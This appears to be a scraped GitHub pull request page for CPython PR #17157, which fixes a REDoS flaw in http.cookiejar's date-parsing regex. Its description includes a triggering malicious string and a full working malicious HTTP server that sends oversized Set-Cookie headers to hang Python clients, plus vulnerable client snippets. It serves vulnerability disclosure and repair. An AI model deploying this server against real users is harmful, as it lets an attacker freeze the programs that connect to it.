René's URL Explorer Experiment


Title: bpo-38804: Fix REDoS in http.cookiejar by bcaller · Pull Request #17157 · python/cpython · GitHub

Open Graph Title: bpo-38804: Fix REDoS in http.cookiejar by bcaller · Pull Request #17157 · python/cpython

X Title: bpo-38804: Fix REDoS in http.cookiejar by bcaller · Pull Request #17157 · python/cpython

Description: The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular expression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar to parse Set-Cookie headers returned by a server. Processing a response from a malicious HTTP server can lead to extreme CPU usage and execution will be blocked for a long time. The regex contained multiple overlapping \s* capture groups. Ignoring the ?-optional capture groups the regex could be simplified to \d+-\w+-\d+(\s*\s*\s*)$ Therefore, a long sequence of spaces can trigger bad performance. Matching a malicious string such as LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!") caused catastrophic backtracking. The fix removes ambiguity about which \s* should match a particular space. You can create a malicious server which responds with Set-Cookie headers to attack all python programs which access it e.g. from http.server import BaseHTTPRequestHandler, HTTPServer def make_set_cookie_value(n_spaces): spaces = " " * n_spaces expiry = f"1-c-1{spaces}!" return f"b;Expires={expiry}" class Handler(BaseHTTPRequestHandler): def do_GET(self): self.log_request(204) self.send_response_only(204) # Don't bother sending Server and Date n_spaces = ( int(self.path[1:]) # Can GET e.g. /100 to test shorter sequences if len(self.path) > 1 else 65506 # Max header line length 65536 ) value = make_set_cookie_value(n_spaces) for i in range(99): # Not necessary, but we can have up to 100 header lines self.send_header("Set-Cookie", value) self.end_headers() if __name__ == "__main__": HTTPServer(("", 44020), Handler).serve_forever() This server returns 99 Set-Cookie headers. Each has 65506 spaces. Extracting the cookies will pretty much never complete. Vulnerable client using the example at the bottom of https://docs.python.org/3/library/http.cookiejar.html : import http.cookiejar, urllib.request cj = http.cookiejar.CookieJar() opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) r = opener.open("http://localhost:44020/") The popular requests library was also vulnerable without any additional options (as it uses http.cookiejar by default): import requests requests.get("http://localhost:44020/") https://bugs.python.org/issue38804

Open Graph Description: The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular expression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar to parse Set-Cooki...

X Description: The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular expression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar to parse Set-Cooki...

Opengraph URL: https://github.com/python/cpython/pull/17157

X: @github

direct link

Domain: github.com

react-profiling0
react-import-mapreact,react-dom,react-dom/client,react-dom/profiling,react-is,react/compiler-runtime,react/jsx-dev-runtime,react/jsx-runtime,scheduler@b8488ee2c322
route-pattern/:user_id/:repository/pull/:id/files(.:format)
route-controllerpull_requests
route-actionfiles
fetch-noncev2:991370d3-6ef1-89ff-ed8c-80d77042fa4a
current-catalog-service-hashae870bc5e265a340912cde392f23dad3671a0a881730ffdadd82f2f57d81641b
request-idB8B2:382318:CD58FC:101B21E:6B022CC6
html-safe-nonce7c12d95291924f1084d8175101870c9c0aeb78510b3656f68252ad6cfdd5e8ea
visitor-payloadeyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCOEIyOjM4MjMxODpDRDU4RkM6MTAxQjIxRTo2QjAyMkNDNiIsInZpc2l0b3JfaWQiOiIzMzk5MDIwOTgzNjU3NTczNTc0IiwicmVnaW9uX2VkZ2UiOiJpYWQiLCJyZWdpb25fcmVuZGVyIjoiaWFkIn0=
visitor-hmac37b57464898a1ad78f61a52efc852f65b56e5ac1969a2bc9673586df4e0681d6
hovercard-subject-tagpull_request:341227681
github-keyboard-shortcutsrepository,pull-request-list,pull-request-conversation,pull-request-files-changed,copilot
google-site-verificationApib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I
octolytics-urlhttps://collector.github.com/github/collect
analytics-location///pull_requests/show/files
fb:app_id1401488693436528
apple-itunes-appapp-id=1477376905, app-argument=https://github.com/python/cpython/pull/17157/files
twitter:imagehttps://avatars.githubusercontent.com/u/5838651?s=400&v=4
twitter:cardsummary_large_image
og:imagehttps://avatars.githubusercontent.com/u/5838651?s=400&v=4
og:image:altThe regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular expression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar to parse Set-Cooki...
og:site_nameGitHub
og:typeobject
hostnamegithub.com
expected-hostnamegithub.com
None87e774ee7c6b3bee0490394e4d3e57ec9dbc956f74b87ea685dc8996c1676456
turbo-cache-controlno-preview
diff-viewunified
go-importgithub.com/python/cpython git https://github.com/python/cpython.git
octolytics-dimension-user_id1525981
octolytics-dimension-user_loginpython
octolytics-dimension-repository_id81598961
octolytics-dimension-repository_nwopython/cpython
octolytics-dimension-repository_publictrue
octolytics-dimension-repository_is_forkfalse
octolytics-dimension-repository_network_root_id81598961
octolytics-dimension-repository_network_root_nwopython/cpython
turbo-body-classeslogged-out env-production page-responsive full-width
disable-turbotrue
browser-stats-urlhttps://api.github.com/_private/browser/stats
browser-errors-urlhttps://api.github.com/_private/browser/errors
release423dbb54c5e7bfecc838eb387c1435eb3d0e760d
ui-targetfull
theme-color#1e2327
color-schemelight dark

Links:

Skip to contenthttps://github.com/python/cpython/pull/17157/files#start-of-content
https://github.com/
Sign inhttps://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fpython%2Fcpython%2Fpull%2F17157%2Ffiles
GitHubRepository hosting, code review, and collaborationhttps://github.com/platform
CopilotAI coding agent for tasks, projects, and automated workhttps://github.com/features/copilot
ActionsCI/CD and automationhttps://github.com/features/actions
Code QualityQuality analysis, fixes, and enforcementhttps://github.com/features/code-quality
CodespacesCloud development environmentshttps://github.com/features/codespaces
Code SecurityVulnerability detection and remediationhttps://github.com/security/advanced-security/code-security
Secret ProtectionSecret scanning and leak preventionhttps://github.com/security/advanced-security/secret-protection
All Featureshttps://github.com/features
Documentationhttps://docs.github.com/en
Traininghttps://learn.github.com/skills
Certificationshttps://learn.github.com/credentials
Build with Copilothttps://github.com/features/ai
Customize Copilothttps://docs.github.com/en/copilot/how-tos/copilot-on-github/customize-copilot/customize-copilot-overview
Integrationshttps://github.com/marketplace
Trending reposhttps://github.com/trending
GitHub Sponsorshttps://github.com/open-source/sponsors
Developer articleshttps://github.com/resources/articles
ChangelogYour source for the latest features, improvements, and fixes across GitHub products, all in one place.https://github.blog/changelog/
Enterpriseshttps://github.com/enterprise
Teamhttps://github.com/team
Startupshttps://github.com/enterprise/startups
Nonprofitshttps://github.com/solutions/industry/nonprofits
Healthcarehttps://github.com/solutions/industry/healthcare
Financial serviceshttps://github.com/solutions/industry/financial-services
Manufacturinghttps://github.com/solutions/industry/manufacturing
Governmenthttps://github.com/solutions/industry/government
See all industrieshttps://github.com/solutions/industry
Why GitHubhttps://github.com/why-github
Customer Storieshttps://github.com/customer-stories
Business insightshttps://github.com/solutions/executive-insights
Trust Centerhttps://github.com/trust-center
GitHub Advanced SecurityEnterprise-grade code securityhttps://github.com/security/advanced-security
Copilot for businessEnterprise-grade AI featureshttps://github.com/features/copilot/copilot-business
Premium SupportEnterprise-grade 24/7 supporthttps://github.com/enterprise/premium-support
Documentationhttps://docs.github.com/en
Resource centerhttps://github.com/resources
Bloghttps://github.blog/
Events & webinarshttps://github.com/resources/events
Community Forumhttps://github.com/orgs/community/discussions
Customer Storieshttps://github.com/customer-stories
Integrationshttps://github.com/marketplace
Customer supporthttps://help.github.com/
Traininghttps://learn.github.com/skills
GitHub Statushttps://www.githubstatus.com/
Abouthttps://github.com/about
Partnershttps://github.com/partners
Changeloghttps://github.blog/changelog/
GitHub UniverseThe event for developers, by developers — talks, workshops, and what’s next for GitHub.https://githubuniverse.com/
Pricinghttps://github.com/pricing
Sign inhttps://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fpython%2Fcpython%2Fpull%2F17157%2Ffiles
Sign uphttps://github.com/signup?ref_cta=Sign+up&ref_loc=header+logged+out&ref_page=%2F%3Cuser-name%3E%2F%3Crepo-name%3E%2Fpull_requests%2Fshow%2Ffiles&source=header-repo&source_repo=python%2Fcpython
Reloadhttps://github.com/python/cpython/pull/17157/files
Reloadhttps://github.com/python/cpython/pull/17157/files
Reloadhttps://github.com/python/cpython/pull/17157/files
pythonhttps://github.com/python
cpythonhttps://github.com/python/cpython
Codehttps://github.com/python/cpython
Issues5k+ (5k+)https://github.com/python/cpython/issues
Pull requests2.4k (2.4k)https://github.com/python/cpython/pulls
Actionshttps://github.com/python/cpython/actions
Projectshttps://github.com/python/cpython/projects
Security and qualityhttps://github.com/python/cpython/security
Insightshttps://github.com/python/cpython/insights
Sign up for GitHub https://github.com/signup?return_to=%2Fpython%2Fcpython%2Fissues%2Fnew%2Fchoose
terms of servicehttps://docs.github.com/terms
privacy statementhttps://docs.github.com/privacy
Sign inhttps://github.com/login?return_to=%2Fpython%2Fcpython%2Fissues%2Fnew%2Fchoose
vstinnerhttps://github.com/vstinner
python:masterhttps://github.com/python/cpython/tree/master
bcaller:bc-http-cookiejar-redoshttps://github.com/bcaller/cpython/tree/bc-http-cookiejar-redos
Conversation 31 https://github.com/python/cpython/pull/17157
Commits 6 https://github.com/python/cpython/pull/17157/commits
Checks 0 https://github.com/python/cpython/pull/17157/checks
Files changed https://github.com/python/cpython/pull/17157/files
Please reload this pagehttps://github.com/python/cpython/pull/17157/files
bpo-38804: Fix REDoS in http.cookiejar https://github.com/python/cpython/pull/17157/files#top
Show all changes 6 commits https://github.com/python/cpython/pull/17157/files
ecf7b84 bpo-38804: Fix REDoS in http.cookiejar bcaller Nov 14, 2019 https://github.com/python/cpython/pull/17157/commits/ecf7b84257ca680db7519d55b8c0edca845622ab
92f4602 📜🤖 Added by blurb_it. blurb-it[bot] Nov 15, 2019 https://github.com/python/cpython/pull/17157/commits/92f46027a84ea13aadc821d7a6ff69c3f61c713d
04a3c61 Regression test for http.cookiejar REDoS bcaller Nov 15, 2019 https://github.com/python/cpython/pull/17157/commits/04a3c611563a5fe36bbc83c0d4315a64d73d5847
e11dfbe Improve performance of http.cookiejar.ISO_DATE_RE bcaller Nov 15, 2019 https://github.com/python/cpython/pull/17157/commits/e11dfbeca5f4921289fd93379bb48544ae6b1e53
bc43063 Test for ISO_DATE_RE sub-quadratic performance bcaller Nov 15, 2019 https://github.com/python/cpython/pull/17157/commits/bc4306398269d1e76bf1be11c748b5c02bcd3a12
11fd815 Update News / Acks bcaller Nov 16, 2019 https://github.com/python/cpython/pull/17157/commits/11fd815d180c5c58ac4beec1133c32267b15e87c
Clear filters https://github.com/python/cpython/pull/17157/files
Please reload this pagehttps://github.com/python/cpython/pull/17157/files
Please reload this pagehttps://github.com/python/cpython/pull/17157/files
cookiejar.py https://github.com/python/cpython/pull/17157/files#diff-1b1fdb83687ca45b995863d26cb590b5021e10db98c92b25d71ed67781c589ff
test_http_cookiejar.py https://github.com/python/cpython/pull/17157/files#diff-35c529f88b8ac0c75eb7dd9d6488c3bb0793362344687ac6787d1cb3941763fd
ACKS https://github.com/python/cpython/pull/17157/files#diff-d1243956feb505c5459fc05387e194609efb5c350cee202942be47ed30d7d7d0
2019-11-15-00-54-42.bpo-38804.vjbM8V.rst https://github.com/python/cpython/pull/17157/files#diff-dca8f044e9c541004eded788cfb85ed47b3e19fe552c4e1c15b5fade33b528f7
Lib/http/cookiejar.pyhttps://github.com/python/cpython/pull/17157/files#diff-1b1fdb83687ca45b995863d26cb590b5021e10db98c92b25d71ed67781c589ff
View file https://github.com/bcaller/cpython/blob/11fd815d180c5c58ac4beec1133c32267b15e87c/Lib/http/cookiejar.py
Open in desktop https://desktop.github.com
https://github.co/hiddenchars
https://github.com/python/cpython/pull/17157/{{ revealButtonHref }}
https://github.com/python/cpython/pull/17157/files#diff-1b1fdb83687ca45b995863d26cb590b5021e10db98c92b25d71ed67781c589ff
https://github.com/python/cpython/pull/17157/files#diff-1b1fdb83687ca45b995863d26cb590b5021e10db98c92b25d71ed67781c589ff
https://github.com/python/cpython/pull/17157/files#diff-1b1fdb83687ca45b995863d26cb590b5021e10db98c92b25d71ed67781c589ff
https://github.com/python/cpython/pull/17157/files#diff-1b1fdb83687ca45b995863d26cb590b5021e10db98c92b25d71ed67781c589ff
Lib/test/test_http_cookiejar.pyhttps://github.com/python/cpython/pull/17157/files#diff-35c529f88b8ac0c75eb7dd9d6488c3bb0793362344687ac6787d1cb3941763fd
View file https://github.com/bcaller/cpython/blob/11fd815d180c5c58ac4beec1133c32267b15e87c/Lib/test/test_http_cookiejar.py
Open in desktop https://desktop.github.com
https://github.co/hiddenchars
https://github.com/python/cpython/pull/17157/{{ revealButtonHref }}
https://github.com/python/cpython/pull/17157/files#diff-35c529f88b8ac0c75eb7dd9d6488c3bb0793362344687ac6787d1cb3941763fd
https://github.com/python/cpython/pull/17157/files#diff-35c529f88b8ac0c75eb7dd9d6488c3bb0793362344687ac6787d1cb3941763fd
https://github.com/python/cpython/pull/17157/files#diff-35c529f88b8ac0c75eb7dd9d6488c3bb0793362344687ac6787d1cb3941763fd
https://github.com/python/cpython/pull/17157/files#diff-35c529f88b8ac0c75eb7dd9d6488c3bb0793362344687ac6787d1cb3941763fd
Misc/ACKShttps://github.com/python/cpython/pull/17157/files#diff-d1243956feb505c5459fc05387e194609efb5c350cee202942be47ed30d7d7d0
View file https://github.com/bcaller/cpython/blob/11fd815d180c5c58ac4beec1133c32267b15e87c/Misc/ACKS
Open in desktop https://desktop.github.com
https://github.co/hiddenchars
https://github.com/python/cpython/pull/17157/{{ revealButtonHref }}
https://github.com/python/cpython/pull/17157/files#diff-d1243956feb505c5459fc05387e194609efb5c350cee202942be47ed30d7d7d0
https://github.com/python/cpython/pull/17157/files#diff-d1243956feb505c5459fc05387e194609efb5c350cee202942be47ed30d7d7d0
Misc/NEWS.d/next/Security/2019-11-15-00-54-42.bpo-38804.vjbM8V.rsthttps://github.com/python/cpython/pull/17157/files#diff-dca8f044e9c541004eded788cfb85ed47b3e19fe552c4e1c15b5fade33b528f7
View file https://github.com/bcaller/cpython/blob/11fd815d180c5c58ac4beec1133c32267b15e87c/Misc/NEWS.d/next/Security/2019-11-15-00-54-42.bpo-38804.vjbM8V.rst
Open in desktop https://desktop.github.com
https://github.co/hiddenchars
https://github.com/python/cpython/pull/17157/{{ revealButtonHref }}
https://github.com
Termshttps://docs.github.com/site-policy/github-terms/github-terms-of-service
Privacyhttps://docs.github.com/site-policy/privacy-policies/github-privacy-statement
Securityhttps://github.com/security
Statushttps://www.githubstatus.com/
Communityhttps://github.community/
Docshttps://docs.github.com/
Contacthttps://support.github.com?tags=dotcom-footer

Viewport: width=device-width


URLs of crawlers that visited me.